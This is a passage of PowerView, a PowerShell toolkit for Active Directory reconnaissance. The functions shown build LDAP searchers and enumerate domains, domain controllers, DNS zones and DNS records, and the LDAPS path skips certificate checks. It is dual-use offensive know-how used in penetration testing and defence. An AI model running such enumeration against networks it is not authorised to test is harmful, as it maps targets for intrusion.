$SearchScope = 'Subtree',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit = 120,
|
|
|
|
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
|
|
[String]
|
|
$SecurityMasks,
|
|
|
|
[Switch]
|
|
$Tombstone,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$SSL
|
|
)
|
|
|
|
PROCESS {
|
|
if ($PSBoundParameters['Domain']) {
|
|
$TargetDomain = $Domain
|
|
|
|
if ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) {
|
|
# see if we can grab the user DNS logon domain from environment variables
|
|
$UserDomain = $ENV:USERDNSDOMAIN
|
|
if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $UserDomain) {
|
|
$BindServer = "$($ENV:LOGONSERVER -replace '\\','').$UserDomain"
|
|
}
|
|
}
|
|
}
|
|
elseif ($PSBoundParameters['Credential']) {
|
|
# if not -Domain is specified, but -Credential is, try to retrieve the current domain name with Get-Domain
|
|
$DomainObject = Get-Domain -Credential $Credential
|
|
$BindServer = ($DomainObject.PdcRoleOwner).Name
|
|
$TargetDomain = $DomainObject.Name
|
|
}
|
|
elseif ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) {
|
|
# see if we can grab the user DNS logon domain from environment variables
|
|
$TargetDomain = $ENV:USERDNSDOMAIN
|
|
if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $TargetDomain) {
|
|
$BindServer = "$($ENV:LOGONSERVER -replace '\\','').$TargetDomain"
|
|
}
|
|
}
|
|
else {
|
|
# otherwise, resort to Get-Domain to retrieve the current domain object
|
|
write-verbose "get-domain"
|
|
$DomainObject = Get-Domain
|
|
$BindServer = ($DomainObject.PdcRoleOwner).Name
|
|
$TargetDomain = $DomainObject.Name
|
|
}
|
|
|
|
if ($PSBoundParameters['Server']) {
|
|
# if there's not a specified server to bind to, try to pull a logon server from ENV variables
|
|
$BindServer = $Server
|
|
}
|
|
|
|
if ($PSBoundParameters['SSL']) {
|
|
if ([string]::IsNullOrEmpty($BindServer)) {
|
|
$DomainObject = Get-Domain
|
|
$BindServer = ($DomainObject.PdcRoleOwner).Name
|
|
}
|
|
[System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null
|
|
Write-Verbose "[Get-DomainSearcher] Connecting to $($BindServer):636"
|
|
$Searcher = New-Object -TypeName System.DirectoryServices.Protocols.LdapConnection -ArgumentList "$($BindServer):636"
|
|
$Searcher.SessionOptions.SecureSocketLayer = $true;
|
|
$Searcher.SessionOptions.VerifyServerCertificate = { $true }
|
|
$Searcher.SessionOptions.DomainName = $TargetDomain
|
|
$Searcher.AuthType = [System.DirectoryServices.Protocols.AuthType]::Negotiate
|
|
if ($PSBoundParameters['Credential']) {
|
|
$Searcher.Bind($Credential)
|
|
}
|
|
else {
|
|
$Searcher.Bind()
|
|
}
|
|
}
|
|
else {
|
|
$SearchString = 'LDAP://'
|
|
|
|
if ($BindServer -and ($BindServer.Trim() -ne '')) {
|
|
$SearchString += $BindServer
|
|
if ($TargetDomain) {
|
|
$SearchString += '/'
|
|
}
|
|
}
|
|
|
|
if ($PSBoundParameters['SearchBasePrefix']) {
|
|
$SearchString += $SearchBasePrefix + ','
|
|
}
|
|
|
|
if ($PSBoundParameters['SearchBase']) {
|
|
if ($SearchBase -Match '^GC://') {
|
|
# if we're searching the global catalog, get the path in the right format
|
|
$DN = $SearchBase.ToUpper().Trim('/')
|
|
$SearchString = ''
|
|
}
|
|
else {
|
|
if ($SearchBase -match '^LDAP://') {
|
|
if ($SearchBase -match "LDAP://.+/.+") {
|
|
$SearchString = ''
|
|
$DN = $SearchBase
|
|
}
|
|
else {
|
|
$DN = $SearchBase.SubString(7)
|
|
}
|
|
}
|
|
else {
|
|
$DN = $SearchBase
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
# transform the target domain name into a distinguishedName if an ADS search base is not specified
|
|
if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) {
|
|
$DN = "DC=$($TargetDomain.Replace('.', ',DC='))"
|
|
}
|
|
}
|
|
|
|
$SearchString += $DN
|
|
Write-Verbose "[Get-DomainSearcher] search base: $SearchString"
|
|
|
|
if ($Credential -ne [Management.Automation.PSCredential]::Empty) {
|
|
Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection"
|
|
# bind to the inital search object using alternate credentials
|
|
$DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)
|
|
$Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)
|
|
}
|
|
else {
|
|
# bind to the inital object using the current credentials
|
|
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
|
|
}
|
|
|
|
$Searcher.PageSize = $ResultPageSize
|
|
$Searcher.SearchScope = $SearchScope
|
|
$Searcher.CacheResults = $False
|
|
$Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All
|
|
|
|
if ($PSBoundParameters['ServerTimeLimit']) {
|
|
$Searcher.ServerTimeLimit = $ServerTimeLimit
|
|
}
|
|
|
|
if ($PSBoundParameters['Tombstone']) {
|
|
$Searcher.Tombstone = $True
|
|
}
|
|
|
|
if ($PSBoundParameters['LDAPFilter']) {
|
|
$Searcher.filter = $LDAPFilter
|
|
}
|
|
|
|
if ($PSBoundParameters['SecurityMasks']) {
|
|
$Searcher.SecurityMasks = Switch ($SecurityMasks) {
|
|
'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl }
|
|
'Group' { [System.DirectoryServices.SecurityMasks]::Group }
|
|
'None' { [System.DirectoryServices.SecurityMasks]::None }
|
|
'Owner' { [System.DirectoryServices.SecurityMasks]::Owner }
|
|
'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl }
|
|
}
|
|
}
|
|
|
|
if ($PSBoundParameters['Properties']) {
|
|
# handle an array of properties to load w/ the possibility of comma-separated strings
|
|
$PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') }
|
|
$Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad))
|
|
}
|
|
}
|
|
|
|
$Searcher
|
|
}
|
|
}
|
|
|
|
|
|
function Convert-DNSRecord {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Helpers that decodes a binary DNS record blob.
|
|
|
|
Author: Michael B. Smith, Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
Decodes a binary blob representing an Active Directory DNS entry.
|
|
Used by Get-DomainDNSRecord.
|
|
|
|
Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
|
|
|
|
.PARAMETER DNSRecord
|
|
|
|
A byte array representing the DNS record.
|
|
|
|
.OUTPUTS
|
|
|
|
System.Management.Automation.PSCustomObject
|
|
|
|
Outputs custom PSObjects with detailed information about the DNS record entry.
|
|
|
|
.LINK
|
|
|
|
https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
|
|
#>
|
|
|
|
[OutputType('System.Management.Automation.PSCustomObject')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[Byte[]]
|
|
$DNSRecord
|
|
)
|
|
|
|
BEGIN {
|
|
function Get-Name {
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseOutputTypeCorrectly', '')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Byte[]]
|
|
$Raw
|
|
)
|
|
|
|
[Int]$Length = $Raw[0]
|
|
[Int]$Segments = $Raw[1]
|
|
[Int]$Index = 2
|
|
[String]$Name = ''
|
|
|
|
while ($Segments-- -gt 0)
|
|
{
|
|
[Int]$SegmentLength = $Raw[$Index++]
|
|
while ($SegmentLength-- -gt 0) {
|
|
$Name += [Char]$Raw[$Index++]
|
|
}
|
|
$Name += "."
|
|
}
|
|
$Name
|
|
}
|
|
}
|
|
|
|
PROCESS {
|
|
# $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0)
|
|
$RDataType = [BitConverter]::ToUInt16($DNSRecord, 2)
|
|
$UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8)
|
|
|
|
$TTLRaw = $DNSRecord[12..15]
|
|
|
|
# reverse for big endian
|
|
$Null = [array]::Reverse($TTLRaw)
|
|
$TTL = [BitConverter]::ToUInt32($TTLRaw, 0)
|
|
|
|
$Age = [BitConverter]::ToUInt32($DNSRecord, 20)
|
|
if ($Age -ne 0) {
|
|
$TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString()
|
|
}
|
|
else {
|
|
$TimeStamp = '[static]'
|
|
}
|
|
|
|
$DNSRecordObject = New-Object PSObject
|
|
|
|
if ($RDataType -eq 1) {
|
|
$IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27]
|
|
$Data = $IP
|
|
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A'
|
|
}
|
|
|
|
elseif ($RDataType -eq 2) {
|
|
$NSName = Get-Name $DNSRecord[24..$DNSRecord.length]
|
|
$Data = $NSName
|
|
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS'
|
|
}
|
|
|
|
elseif ($RDataType -eq 5) {
|
|
$Alias = Get-Name $DNSRecord[24..$DNSRecord.length]
|
|
$Data = $Alias
|
|
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME'
|
|
}
|
|
|
|
elseif ($RDataType -eq 6) {
|
|
# TODO: how to implement properly? nested object?
|
|
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
|
|
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA'
|
|
}
|
|
|
|
elseif ($RDataType -eq 12) {
|
|
$Ptr = Get-Name $DNSRecord[24..$DNSRecord.length]
|
|
$Data = $Ptr
|
|
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR'
|
|
}
|
|
|
|
elseif ($RDataType -eq 13) {
|
|
# TODO: how to implement properly? nested object?
|
|
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
|
|
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO'
|
|
}
|
|
|
|
elseif ($RDataType -eq 15) {
|
|
# TODO: how to implement properly? nested object?
|
|
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
|
|
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX'
|
|
}
|
|
|
|
elseif ($RDataType -eq 16) {
|
|
[string]$TXT = ''
|
|
[int]$SegmentLength = $DNSRecord[24]
|
|
$Index = 25
|
|
|
|
while ($SegmentLength-- -gt 0) {
|
|
$TXT += [char]$DNSRecord[$index++]
|
|
}
|
|
|
|
$Data = $TXT
|
|
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT'
|
|
}
|
|
|
|
elseif ($RDataType -eq 28) {
|
|
# TODO: how to implement properly? nested object?
|
|
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
|
|
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA'
|
|
}
|
|
|
|
elseif ($RDataType -eq 33) {
|
|
# TODO: how to implement properly? nested object?
|
|
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
|
|
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV'
|
|
}
|
|
|
|
else {
|
|
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
|
|
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN'
|
|
}
|
|
|
|
$DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial
|
|
$DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL
|
|
$DNSRecordObject | Add-Member Noteproperty 'Age' $Age
|
|
$DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp
|
|
$DNSRecordObject | Add-Member Noteproperty 'Data' $Data
|
|
$DNSRecordObject
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainDNSZone {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Enumerates the Active Directory DNS zones for a given domain.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
|
|
|
|
.PARAMETER Domain
|
|
|
|
The domain to query for zones, defaults to the current domain.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to for the search.
|
|
|
|
.PARAMETER Properties
|
|
|
|
Specifies the properties of the output object to retrieve from the server.
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER FindOne
|
|
|
|
Only return one result object.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainDNSZone
|
|
|
|
Retrieves the DNS zones for the current domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainDNSZone -Domain dev.testlab.local -Server primary.testlab.local
|
|
|
|
Retrieves the DNS zones for the dev.testlab.local domain, binding to primary.testlab.local.
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.DNSZone
|
|
|
|
Outputs custom PSObjects with detailed information about the DNS zone.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.DNSZone')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Properties,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Alias('ReturnOne')]
|
|
[Switch]
|
|
$FindOne,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
PROCESS {
|
|
$SearcherArguments = @{
|
|
'LDAPFilter' = '(objectClass=dnsZone)'
|
|
}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
$DNSSearcher1 = Get-DomainSearcher @SearcherArguments
|
|
|
|
if ($DNSSearcher1) {
|
|
if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher1.FindOne() }
|
|
else { $Results = $DNSSearcher1.FindAll() }
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
$Out = Convert-LDAPProperty -Properties $_.Properties
|
|
$Out | Add-Member NoteProperty 'ZoneName' $Out.name
|
|
$Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone')
|
|
$Out
|
|
}
|
|
|
|
if ($Results) {
|
|
try { $Results.dispose() }
|
|
catch {
|
|
Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_"
|
|
}
|
|
}
|
|
$DNSSearcher1.dispose()
|
|
}
|
|
|
|
$SearcherArguments['SearchBasePrefix'] = 'CN=MicrosoftDNS,DC=DomainDnsZones'
|
|
$DNSSearcher2 = Get-DomainSearcher @SearcherArguments
|
|
|
|
if ($DNSSearcher2) {
|
|
try {
|
|
if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher2.FindOne() }
|
|
else { $Results = $DNSSearcher2.FindAll() }
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
$Out = Convert-LDAPProperty -Properties $_.Properties
|
|
$Out | Add-Member NoteProperty 'ZoneName' $Out.name
|
|
$Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone')
|
|
$Out
|
|
}
|
|
if ($Results) {
|
|
try { $Results.dispose() }
|
|
catch {
|
|
Write-Verbose "[Get-DomainDNSZone] Error disposing of the Results object: $_"
|
|
}
|
|
}
|
|
}
|
|
catch {
|
|
Write-Verbose "[Get-DomainDNSZone] Error accessing 'CN=MicrosoftDNS,DC=DomainDnsZones'"
|
|
}
|
|
$DNSSearcher2.dispose()
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainDNSRecord {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Enumerates the Active Directory DNS records for a given zone.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord
|
|
|
|
.DESCRIPTION
|
|
|
|
Given a specific Active Directory DNS zone name, query for all 'dnsNode'
|
|
LDAP entries using that zone as the search base. Return all DNS entry results
|
|
and use Convert-DNSRecord to try to convert the binary DNS record blobs.
|
|
|
|
.PARAMETER ZoneName
|
|
|
|
Specifies the zone to query for records (which can be enumearted with Get-DomainDNSZone).
|
|
|
|
.PARAMETER Domain
|
|
|
|
The domain to query for zones, defaults to the current domain.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to for the search.
|
|
|
|
.PARAMETER Properties
|
|
|
|
Specifies the properties of the output object to retrieve from the server.
|
|
|
|
.PARAMETER ResultPageSize
|
|
|
|
Specifies the PageSize to set for the LDAP searcher object.
|
|
|
|
.PARAMETER ServerTimeLimit
|
|
|
|
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
|
|
|
|
.PARAMETER FindOne
|
|
|
|
Only return one result object.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainDNSRecord -ZoneName testlab.local
|
|
|
|
Retrieve all records for the testlab.local zone.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainDNSZone | Get-DomainDNSRecord
|
|
|
|
Retrieve all records for all zones in the current domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainDNSZone -Domain dev.testlab.local | Get-DomainDNSRecord -Domain dev.testlab.local
|
|
|
|
Retrieve all records for all zones in the dev.testlab.local domain.
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.DNSRecord
|
|
|
|
Outputs custom PSObjects with detailed information about the DNS record entry.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.DNSRecord')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$ZoneName,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[String[]]
|
|
$Properties = 'name,distinguishedname,dnsrecord,whencreated,whenchanged',
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ResultPageSize = 200,
|
|
|
|
[ValidateRange(1, 10000)]
|
|
[Int]
|
|
$ServerTimeLimit,
|
|
|
|
[Alias('ReturnOne')]
|
|
[Switch]
|
|
$FindOne,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
PROCESS {
|
|
$SearcherArguments = @{
|
|
'LDAPFilter' = '(objectClass=dnsNode)'
|
|
'SearchBasePrefix' = "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones"
|
|
}
|
|
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
|
|
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
|
|
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
|
|
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
|
|
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
|
|
$DNSSearcher = Get-DomainSearcher @SearcherArguments
|
|
|
|
if ($DNSSearcher) {
|
|
if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher.FindOne() }
|
|
else { $Results = $DNSSearcher.FindAll() }
|
|
$Results | Where-Object {$_} | ForEach-Object {
|
|
try {
|
|
$Out = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged
|
|
$Out | Add-Member NoteProperty 'ZoneName' $ZoneName
|
|
|
|
# convert the record and extract the properties
|
|
if ($Out.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) {
|
|
# TODO: handle multiple nested records properly?
|
|
$Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0]
|
|
}
|
|
else {
|
|
$Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord
|
|
}
|
|
|
|
if ($Record) {
|
|
$Record.PSObject.Properties | ForEach-Object {
|
|
$Out | Add-Member NoteProperty $_.Name $_.Value
|
|
}
|
|
}
|
|
|
|
$Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSRecord')
|
|
$Out
|
|
}
|
|
catch {
|
|
Write-Warning "[Get-DomainDNSRecord] Error: $_"
|
|
$Out
|
|
}
|
|
}
|
|
|
|
if ($Results) {
|
|
try { $Results.dispose() }
|
|
catch {
|
|
Write-Verbose "[Get-DomainDNSRecord] Error disposing of the Results object: $_"
|
|
}
|
|
}
|
|
$DNSSearcher.dispose()
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-Domain {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Returns the domain object for the current (or specified) domain.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: None
|
|
|
|
.DESCRIPTION
|
|
|
|
Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current
|
|
domain or the domain specified with -Domain X.
|
|
|
|
.PARAMETER Domain
|
|
|
|
Specifies the domain name to query for, defaults to the current domain.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-Domain -Domain testlab.local
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-Domain -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
System.DirectoryServices.ActiveDirectory.Domain
|
|
|
|
A complex .NET domain object.
|
|
|
|
.LINK
|
|
|
|
http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
|
|
#>
|
|
|
|
[OutputType([System.DirectoryServices.ActiveDirectory.Domain])]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$Domain,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty
|
|
)
|
|
|
|
PROCESS {
|
|
if ($PSBoundParameters['Credential']) {
|
|
|
|
Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain'
|
|
|
|
if ($PSBoundParameters['Domain']) {
|
|
$TargetDomain = $Domain
|
|
}
|
|
else {
|
|
# if no domain is supplied, extract the logon domain from the PSCredential passed
|
|
$TargetDomain = $Credential.GetNetworkCredential().Domain
|
|
Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential"
|
|
}
|
|
|
|
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
|
|
|
|
try {
|
|
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
|
|
}
|
|
catch {
|
|
Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
|
|
}
|
|
}
|
|
elseif ($PSBoundParameters['Domain']) {
|
|
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
|
|
try {
|
|
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
|
|
}
|
|
catch {
|
|
Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_"
|
|
}
|
|
}
|
|
else {
|
|
try {
|
|
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
|
}
|
|
catch {
|
|
Write-Verbose "[Get-Domain] Error retrieving the current domain: $_"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
function Get-DomainController {
|
|
<#
|
|
.SYNOPSIS
|
|
|
|
Return the domain controllers for the current (or specified) domain.
|
|
|
|
Author: Will Schroeder (@harmj0y)
|
|
License: BSD 3-Clause
|
|
Required Dependencies: Get-DomainComputer, Get-Domain
|
|
|
|
.DESCRIPTION
|
|
|
|
Enumerates the domain controllers for the current or specified domain.
|
|
By default built in .NET methods are used. The -LDAP switch uses Get-DomainComputer
|
|
to search for domain controllers.
|
|
|
|
.PARAMETER Domain
|
|
|
|
The domain to query for domain controllers, defaults to the current domain.
|
|
|
|
.PARAMETER Server
|
|
|
|
Specifies an Active Directory server (domain controller) to bind to.
|
|
|
|
.PARAMETER LDAP
|
|
|
|
Switch. Use LDAP queries to determine the domain controllers instead of built in .NET methods.
|
|
|
|
.PARAMETER Credential
|
|
|
|
A [Management.Automation.PSCredential] object of alternate credentials
|
|
for connection to the target domain.
|
|
|
|
.PARAMETER SSL
|
|
|
|
Switch. Use SSL for the connection to the LDAP server.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainController -Domain 'test.local'
|
|
|
|
Determine the domain controllers for 'test.local'.
|
|
|
|
.EXAMPLE
|
|
|
|
Get-DomainController -Domain 'test.local' -LDAP
|
|
|
|
Determine the domain controllers for 'test.local' using LDAP queries.
|
|
|
|
.EXAMPLE
|
|
|
|
'test.local' | Get-DomainController
|
|
|
|
Determine the domain controllers for 'test.local'.
|
|
|
|
.EXAMPLE
|
|
|
|
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
|
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
|
|
Get-DomainController -Credential $Cred
|
|
|
|
.OUTPUTS
|
|
|
|
PowerView.Computer
|
|
|
|
Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified.
|
|
|
|
System.DirectoryServices.ActiveDirectory.DomainController
|
|
|
|
If -LDAP isn't specified.
|
|
#>
|
|
|
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
|
|
[OutputType('PowerView.Computer')]
|
|
[OutputType('System.DirectoryServices.ActiveDirectory.DomainController')]
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Position = 0, ValueFromPipeline = $True)]
|
|
[String]
|
|
$Domain,
|
|
|
|
[ValidateNotNullOrEmpty()]
|
|
[Alias('DomainController')]
|
|
[String]
|
|
$Server,
|
|
|
|
[Switch]
|
|
$LDAP,
|
|
|
|
[Management.Automation.PSCredential]
|
|
[Management.Automation.CredentialAttribute()]
|
|
$Credential = [Management.Automation.PSCredential]::Empty,
|
|
|
|
[Switch]
|
|
$SSL
|
|
)
|
|
|
|
PROCESS {
|
|
$Arguments = @{}
|
|
if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain }
|
|
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
|
|
if ($PSBoundParameters['SSL']) { $Arguments['SSL'] = $SSL }
|
|
|
|
